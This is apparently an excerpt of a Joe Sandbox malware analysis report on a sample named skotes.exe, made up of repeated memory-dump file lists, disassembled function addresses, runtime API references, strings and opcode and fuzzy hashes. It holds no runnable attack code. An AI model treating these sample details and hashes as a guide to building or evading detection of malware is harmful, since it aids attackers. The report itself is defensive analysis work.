Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: 854b1ea5550196ff1485a7e856e6a9b9bb1fa1fa5a10375525ee773814806cc3
Instruction ID: a3b5bb16b496aa1daf5a0e37adf1162160af201c84b5e5700530c30dbaf78ec6
Opcode Fuzzy Hash: 854b1ea5550196ff1485a7e856e6a9b9bb1fa1fa5a10375525ee773814806cc3
Instruction Fuzzy Hash: 7CA13832A241595FCF19EF68DC51BAE3BA1EB06324F24025EE801AB3D1DB359C36CB51

Function 002C182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002C18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 002C18EB

Strings

pContext, xrefs: 002C189C

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 3738ae5828a3d46afd5e1e9fa7345bba04d394d2169e7256c79cf40c5e3db406
Instruction ID: 9675525d651c822b5fd1f9a9ad2e0edfcb642a5d5bc4e9a24015a3946597514e
Opcode Fuzzy Hash: 3738ae5828a3d46afd5e1e9fa7345bba04d394d2169e7256c79cf40c5e3db406
Instruction Fuzzy Hash: 85210A35B246159BDB14AB64D896FBC73A5BF82324B04032EE501872D2CFA4AC71CA90

Function 002CDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 002CDFE8
6,, xrefs: 002CE034

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6,$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2667673980
Opcode ID: 49048a8b0feede06edd4547caec67526d936d2bde858b686361be36cc8b20b4a
Instruction ID: fddfa501af370c921f0584aa5d5d3ca087c6cf5524c88e77b19dabf8328d085d
Opcode Fuzzy Hash: 49048a8b0feede06edd4547caec67526d936d2bde858b686361be36cc8b20b4a
Instruction Fuzzy Hash: 4221A47162420A7FDF30AE658C81F6B77ADEF003A4B12471CF824A7151E7B1EC208BA0

Function 002BAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 002BAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002BAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 002BAF4E

Strings

pExecutionResource, xrefs: 002BAF07

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 7fb342c0b5d4eaa9f3bd798df221c087560ba6c52fead920f43d0a8379bd7b64
Instruction ID: 83ea9b9d4cb77006f8cdf2bc01cdac72e631e5833c2a8bb4f1ba4ce619029f22
Opcode Fuzzy Hash: 7fb342c0b5d4eaa9f3bd798df221c087560ba6c52fead920f43d0a8379bd7b64
Instruction Fuzzy Hash: 5921A7756602059BCB08EF54C892BEEB7A5BF48300F214029F501AB782DFB0EE25CF91

Function 002B4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002B4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 002B4F66

Strings

count, xrefs: 002B4EBA
ppVirtualProcessorRoots, xrefs: 002B4F1C

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

